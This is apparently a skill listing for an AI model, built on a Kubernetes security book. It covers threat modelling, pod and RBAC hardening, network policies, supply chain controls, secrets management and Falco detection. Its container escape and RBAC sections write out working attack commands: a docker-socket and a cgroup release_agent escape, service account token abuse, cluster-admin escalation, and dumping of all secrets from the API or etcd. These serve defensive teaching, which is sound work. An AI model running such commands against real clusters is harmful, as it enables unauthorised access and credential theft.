Hacking Kubernetes

Hacking Kubernetes: Threat-Driven Analysis and Defense · Andrew Martin & Michael Hausenblas ·240 pages

Threat-driven Kubernetes security guide: pod hardening (securityContext/capabilities/seccomp), RBAC audit and privilege escalation paths, network policies (default deny), supply chain (Trivy/cosign/SBOM), container runtime isolation (gVisor/Kata), secrets management (Vault/External Secrets), OPA/Gatekeeper policy, and Falco intrusion detection.

Capabilities (7)
  • Build Kubernetes threat models: identify attack surfaces, threat actors, attack trees
  • Harden pod security: securityContext, capabilities drop, read-only filesystem, seccomp
  • Identify and exploit dangerous RBAC misconfigurations — and fix them
  • Write network policies using default-deny approach
  • Secure supply chain: image scanning, signing with cosign, SBOM generation
  • Deploy and configure Falco for runtime intrusion detection
  • Apply Pod Security Admission labels (restricted/baseline/privileged) per namespace
How to use

Install this skill and Claude can audit Kubernetes RBAC configs for privilege escalation paths, harden pod specs with correct securityContext fields, write default-deny NetworkPolicies, design supply chain security pipelines with Trivy and cosign, and author Falco rules for specific runtime threat scenarios

Why it matters

A single misconfigured RBAC binding or overly permissive pod spec can give an attacker full host access or cluster-wide lateral movement — Kubernetes default configurations skip most hardening, and security engineers need to understand both the attack paths and native controls to build effective defense-in-depth

Example use cases
  • Auditing all service accounts with pods/create or clusterrolebindings/create permissions and generating least-privilege Role/RoleBinding replacements that eliminate the privilege escalation paths
  • Reviewing a production Deployment manifest and adding the full securityContext hardening block to close container escape vectors, then verifying it passes restricted Pod Security Admission
  • Writing Falco rules to detect a cryptominer in a container by flagging unexpected outbound connections to non-whitelisted IPs combined with anomalous high-CPU process names

Hacking Kubernetes Skill

Threat Modeling Framework

Kubernetes Threat Model Approach

  1. Scope the system component (pod, node, control plane, network)
  2. Data flow diagram — identify trust boundaries and data flows
  3. Threat actor classification — casual vs. motivated
Threat ActorCapabilityTargeting
Script kiddiePublic tools (Nmap, Metasploit, CVE PoCs)Broad, opportunistic
Motivated individualTargeted exploits, supply chainModerate targeting
InsiderDeep system knowledge, credential accessHighly targeted
Organized crimeDedicated resources, custom toolsHigh targeting
Nation-state (FIS)Zero-days, supply chain infiltrationMaximum targeting
  1. Attack trees — bottom-up: goals → logical OR/AND gates → entry points
  2. Cross-reference with: STRIDE, Microsoft Kubernetes Threat Matrix, MITRE ATT&CK for Containers, OWASP Docker Top 10

Kubernetes Attack Vectors (High-Level)

External attacker
  → Exploit network-facing pod (RCE)
  → Enumerate cluster via leaked kubeconfig
  → Supply chain: malicious container image

Inside pod (initial foothold)
  → Read service account token → API server calls
  → Escape container via privileged pod / capabilities
  → Mount host filesystem
  → Lateral movement via internal network

Control plane attacks
  → Compromise etcd (all cluster state + secrets)
  → Abuse misconfigured API server (anonymous auth, unauthenticated port)
  → kubectl exec into critical pods

Pod-Level Security

Security Context Hardening

# Secure pod spec — defense in depth
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 2000
    seccompProfile:
      type: RuntimeDefault        # restrict syscalls

  containers:
  - name: app
    image: myapp:1.0
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]             # drop ALL Linux capabilities
        add: ["NET_BIND_SERVICE"] # add only what's needed
    resources:
      limits:
        cpu: "500m"
        memory: "128Mi"
      requests:
        cpu: "100m"
        memory: "64Mi"

Dangerous Pod Configurations (Attack Vectors)

# DANGEROUS — host namespace access
spec:
  hostPID: true        # see all host processes
  hostNetwork: true    # access host network
  hostIPC: true        # interprocess communication with host

# DANGEROUS — privileged container (full root on host)
containers:
- securityContext:
    privileged: true

# DANGEROUS — dangerous capabilities
securityContext:
  capabilities:
    add: ["SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN"]

# DANGEROUS — host path mounts
volumes:
- hostPath:
    path: /           # entire host filesystem accessible

Container Escape Techniques

# Escape via docker socket mount
# If /var/run/docker.sock is mounted inside container:
docker -H unix:///var/run/docker.sock run -it -v /:/host alpine chroot /host sh

# Escape via privileged + cgroups release_agent
# (inside privileged container)
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd && echo "cp /etc/shadow /tmp/shadow" >> /cmd
chmod +x /cmd && sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Check if inside container
cat /proc/1/cgroup        # shows docker/ or containerd/ paths
ls /.dockerenv            # present in Docker containers

# Service account token (always present in pod)
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Use to authenticate to API server:
curl -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST/api/v1/pods

RBAC (Role-Based Access Control)

RBAC Architecture

Subject (User/ServiceAccount/Group)
  → RoleBinding or ClusterRoleBinding
  → Role or ClusterRole
  → Verbs on Resources (get, list, watch, create, update, patch, delete)

Dangerous RBAC Misconfigurations

# DANGEROUS — wildcard permissions
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]          # grants all permissions to everything

# DANGEROUS — create pods permission (leads to privesc)
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["create"]     # can create privileged pod → escape
# Also dangerous: secrets (get/list), serviceaccounts (create), rolebindings (create)

Privilege Escalation via RBAC

# Check current permissions
kubectl auth can-i --list
kubectl auth can-i create pods --as=system:serviceaccount:default:mysa

# If can create pods: create privileged pod to escape
kubectl run pwn --image=alpine --privileged \
  --overrides='{"spec":{"hostPID":true,"hostNetwork":true}}'

# If can get secrets: extract all secrets
kubectl get secrets -A -o json | jq '.items[].data | map_values(@base64d)'

# If can create clusterrolebindings: escalate to cluster-admin
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=default:mysa

Least Privilege Service Account

# Disable default token automount
spec:
  automountServiceAccountToken: false

# Or create SA with no extra permissions and only mount where needed
apiVersion: v1
kind: ServiceAccount
metadata:
  name: myapp
automountServiceAccountToken: false

Network Security

Network Policies (Default-Deny Approach)

# Default deny all ingress and egress in namespace
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}         # selects all pods
  policyTypes:
  - Ingress
  - Egress

---
# Allow specific ingress from labeled pods only
spec:
  podSelector:
    matchLabels:
      app: backend
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend
    ports:
    - protocol: TCP
      port: 8080

Kubernetes API Server Attack Surface

# Check for anonymous authentication (very dangerous)
curl https://kube-apiserver:6443/api/v1/pods  # should return 401, not 200

# Dangerous API server flags (audit for these):
--anonymous-auth=true           # allow unauthenticated access
--insecure-port=8080            # HTTP port, no auth
--authorization-mode=AlwaysAllow  # no authorization
--enable-admission-plugins=     # missing pod security admission

# Audit logs: enable and monitor
--audit-policy-file=/etc/kubernetes/audit-policy.yaml
--audit-log-path=/var/log/audit.log

etcd Security

# etcd stores ALL cluster state including Secrets (base64, not encrypted by default)
# If etcd is accessible without TLS:
etcdctl get /registry/secrets --prefix  # dumps all secrets

# Defense: encrypt secrets at rest
# kube-apiserver flag:
--encryption-provider-config=/etc/kubernetes/encryption-config.yaml
# config: use aescbc or secretbox provider

# etcd should only be accessible from API server — firewall off port 2379/2380

Supply Chain Security

Image Security

# Scan images for CVEs before deploying
trivy image myapp:latest
grype myapp:latest

# Use minimal base images
FROM scratch            # no shell, no package manager
FROM gcr.io/distroless/static  # minimal runtime only

# Sign and verify images
cosign sign --key cosign.key myregistry/myapp:latest
cosign verify --key cosign.pub myregistry/myapp:latest

# Admission webhook: block unsigned images (Policy: OPA/Gatekeeper or Kyverno)

Supply Chain Attack Vectors

1. Malicious dependencies in application code (Log4Shell pattern)
2. Compromised base image in registry
3. Malicious CI/CD pipeline step (build-time injection)
4. Registry tampering (pull-time attack)
5. GitOps: compromise source repo → modify deployment manifests

SBOM and Vulnerability Management

# Generate Software Bill of Materials
syft myimage:latest -o spdx-json > sbom.json
grype sbom:./sbom.json  # scan SBOM for CVEs

# In CI/CD: fail build if critical CVEs found
trivy image --exit-code 1 --severity CRITICAL myapp:latest

Container Runtime Isolation

Runtime Security Layers

Hardware
  → VM / hypervisor
  → Host Linux kernel (namespaces + cgroups)
  → Container runtime (containerd, CRI-O)
  → Seccomp (syscall filtering)
  → AppArmor / SELinux (MAC policies)
  → Capabilities (Linux privilege drops)
  → Pod security context
  → Application code

Seccomp Profiles

# Use RuntimeDefault seccomp (blocks dangerous syscalls)
securityContext:
  seccompProfile:
    type: RuntimeDefault

# Custom profile: block specific syscalls
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/myapp.json
# Profile blocks ptrace, mount, pivot_root, etc.

Sandboxing with gVisor / Kata Containers

# gVisor (user-space kernel): strong isolation, performance overhead
spec:
  runtimeClassName: gvisor

# Kata Containers (VM per pod): strongest isolation, significant overhead
spec:
  runtimeClassName: kata-containers

Secrets Management

Kubernetes Secrets Weaknesses

# Secrets are base64-encoded (not encrypted) by default in etcd
kubectl get secret mysecret -o jsonpath='{.data.password}' | base64 -d

# Secrets appear as env vars or volume mounts — readable by any process in pod
# If compromised pod: cat /var/run/secrets/ or printenv

# Defense: external secrets managers
# Vault Agent Injector: inject secrets as files (not env vars)
# AWS Secrets Manager / Azure Key Vault via CSI driver
# External Secrets Operator: sync from external stores

Vault Integration

# Vault Agent Sidecar pattern
annotations:
  vault.hashicorp.com/agent-inject: "true"
  vault.hashicorp.com/role: "myapp"
  vault.hashicorp.com/agent-inject-secret-config.txt: "secret/data/myapp/config"
# Vault agent injects secret as file, not env var

Policy Enforcement

OPA/Gatekeeper

# ConstraintTemplate: define policy logic in Rego
apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: k8srequiredseccomp
spec:
  crd:
    spec:
      names:
        kind: K8sRequiredSeccomp
  targets:
  - target: admission.k8s.gatekeeper.sh
    rego: |
      package k8srequiredseccomp
      violation[{"msg": msg}] {
        not input.review.object.spec.securityContext.seccompProfile
        msg := "seccompProfile must be set"
      }

Pod Security Admission (built-in, K8s 1.25+)

# Namespace label to enforce policy level
metadata:
  labels:
    pod-security.kubernetes.io/enforce: restricted    # strongest
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/audit: restricted

# Levels:
# privileged: no restrictions
# baseline: prevents known privilege escalations
# restricted: follows pod hardening best practices

Intrusion Detection

Runtime Security with Falco

# Falco rules — detect suspicious activity
- rule: Terminal shell in container
  desc: A shell was used in a container
  condition: container.id != "" and proc.name in (shell_binaries)
  output: "Shell used in container (user=%user.name container=%container.name)"
  priority: WARNING

- rule: Write to /etc
  desc: Write to /etc in a container
  condition: container and fd.directory startswith /etc and evt.type=write
  output: "Write to /etc in container (file=%fd.name container=%container.name)"
  priority: ERROR

Key Events to Monitor

Kubernetes Audit Events:
- ServiceAccount token requests (unusual SA)
- exec/attach to pods (kubectl exec)
- ClusterRoleBinding creation
- Privileged pod creation
- Secrets access from unusual sources

Node-Level:
- New processes spawned in containers
- Outbound network connections to unexpected IPs
- File writes to /etc, /bin, /sbin
- Capability use (ptrace, mount)

Hardening Checklist

Control Plane:
☐ Disable anonymous auth on API server
☐ Enable audit logging with comprehensive policy
☐ Encrypt secrets at rest in etcd
☐ Restrict etcd access to API server only
☐ Use RBAC (not ABAC); disable ABAC

Node:
☐ CIS Kubernetes Benchmark (use kube-bench)
☐ Restrict kubelet anonymous auth
☐ Node authorization mode enabled
☐ Keep Kubernetes versions within last 3 minor releases

Workloads:
☐ Pod Security Admission: restricted namespace labels
☐ Network policies: default deny, explicit allow
☐ Non-root containers, drop all capabilities
☐ Read-only root filesystem
☐ Resource limits on all containers
☐ Disable automountServiceAccountToken where unused
☐ Scan images for CVEs in CI/CD

Supply Chain:
☐ Sign container images (cosign)
☐ Admission webhooks to verify signatures
☐ Generate and scan SBOMs
☐ Restrict registry sources (allowlist)

Detection:
☐ Falco or similar runtime security tool deployed
☐ Kubernetes audit logs sent to SIEM
☐ Alert on privileged pod creation, exec, secret access